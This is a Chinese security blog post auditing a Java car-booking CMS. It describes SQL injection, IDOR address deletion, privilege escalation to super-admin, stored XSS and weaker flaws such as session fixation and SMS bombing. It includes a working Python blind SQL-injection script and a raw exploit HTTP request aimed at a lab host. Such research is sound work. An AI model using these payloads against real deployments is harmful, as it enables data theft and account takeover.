前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >对某CMS的审计

对某CMS的审计

作者头像
tnt阿信
发布2020-08-05 11:16:20
5450
发布2020-08-05 11:16:20
举报
文章被收录于专栏:一个安全研究员

太久没有关注各大安全博客上的内容了(当咸鱼是真的快乐呀~),今天瞎逛,发现有师傅发了一篇关于某CMS审计的文章,我的确是几个月没有审过代码了,就寻思着跟着这篇文章复现一下找找感觉,然后顺便发现了一些这个CMS的其他问题

前台SQLi

前台快速订车功能处存在sql注入

漏洞函数位置:car-weishang-1.0.jar!/com/weishang/my/service/ShopService.class-->getGoodsListByExtendCat()

漏洞代码如下:

由上图可见,cat_ids,type_ids, brand_ids这些变量直接拼接到sql语句中,如果这些变量可控那么就存在漏洞,我们看看getGoodsListByExtendCat方法在哪里被调用了,最终找到它在com/weishang/my/action/GoodsList.java-->doGet() 方法中被调用,如下39行处:

可以看到tem_cat_id,tem_type_id, tem_brand_id等参数的值都直接来自GET请求,所以此处漏洞成立,但是由于没有回显点且无法使用报错注入,我们只能采用盲注的方式,以brand_id参数为例,写个脚本跑一跑数据库名

代码语言:javascript
复制
# -*- coding:utf-8 -*-

import requests
from string import printable
chars = printable

vul_url = "http://172.16.137.12:8080/opencarrun/goods?brand_id=1)%20or%20substr(database(),{},1)=%27{}%27%20limit%201%23&type_id=&cat_id=1&menuId=7&price=x&order=extension"
i = 0
result = ""
proxy = {'http':'http://127.0.0.1:8282'}
while True:
    i += 1
    temp = result
    for char in chars:
        target = vul_url.format(i, char)
        resp = requests.get(target, proxies=proxy)
        # print(resp.text)
        if '预 定' in resp.text:
            result += char
            break
    print(result)
    if temp == result:
        break

运行结果如下,成功跑出数据库名

后台SQLi

后台删除外聘员工功能处存在sql注入

漏洞函数:car-weishang-1.0.jar!\com\weishang\my\admin\DeleteAunt.class-->doGet()

代码如下:

我们把目光放到第八行,可以看到adminid来自GET请求,然后adminid传入了deleteAdmin()函数,我们跟进

代码语言:javascript
复制
public String deleteAunt(String ids) {
        String sql = "delete from aunt where aunt_id in (" + ids + ")";
        int flag = this.jdbc.executeUpdate(sql);
        this.jdbc.close();
        return flag > 0 ? "ok" : "bad";
    }

代码很简单,就是执行了删除操作,并且ids参数直接拼接到了sql语句,也就导致了漏洞的发生,同样的,由于没有回显且无法使用报错注入,只能用盲注的方式跑数据,这里我就不写脚本了,直接给两个验证payload

用户删除收货地址处越权

用户可通过修改address_id参数删除任意用户的收货地址

代码语言:javascript
复制
POST /opencarrun/wx/wxDeleteAddress HTTP/1.1
Host: 172.16.137.12:8080
Content-Length: 14
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.137.12:8080
Referer: http://172.16.137.12:8080/opencarrun/pc/pcUserAddress
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6E94031AC6467DB0383D8B397550A50D; store_id=42; type_id=1; time=2020-06-11
Connection: close

address_id=694

漏洞函数:opencar/WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/action/admin/DeleteAdmin.class-->doGet()

第8 9行,获取address_id,然后传入直接传入deleteAddress(),没有判断该地址是否属于该用户,导致漏洞发生

后台管理员管理模块越权

低权限用户可以添加、删除超级管理员账户

首先,我们在后台登陆超级管理员账户,创建一个客服级别的账号

然后我们登陆这个客服账号,默认情况下客服账号是没有任何权限的,所以,客服登陆的后台长这样

就是啥功能都没有,但是,我们可以构造添加超级管理的数据包,然后用客服的cookie发送这个数据包

登陆超级管理员账号,可以看到多了一个名为“阿信真帅yo”的超级管理员账户

除了添加管理员,删除管理员一样是存在越权的。

存储型XSS

整个系统,没有做任何关于xss的防护,所以只要是有输入输出的地方基本都存在XSS,就拿用户添加收货地址这一功能来说,联系人处插入payload

成功弹窗,看来我是靓仔的事情瞒不住了!

其他缺陷

还有一些小问题,比如sessionid固定(登陆前以及登陆后sessionid不变,这也是个安全隐患),还有就是用户注册处发送短信的接口可以被恶意利用实现短信轰炸,后台登陆验证码不变导致可爆破等等。

除了上面说到的具体的漏洞点以外,该系统还有很多其他地方的XSS以及SQL注入,实在是懒得写出来了,不过挖这个系统的SQL注入有个技巧,该系统基本上所有的sql操作都在WebRoot/WEB-INF/lib/weishang-1.4.jar!/com/weishang/service/AdminService.class 以及WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/my/service/ShopService.class这两个类里,而系统作者大多数sql语句都是使用的预编译的方式,但是有一些sql语句由于某些原因使用了直接拼接的方式,这些直接拼接的地方都是潜在的问题,我大概看了一下,直接拼接的地方还是有很多的,有兴趣的朋友可以练练手。需要该系统的可以加我vx

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-07-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 一个安全研究员 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前台SQLi
  • 后台SQLi
  • 用户删除收货地址处越权
  • 后台管理员管理模块越权
  • 存储型XSS
  • 其他缺陷
相关产品与服务
访问管理
访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档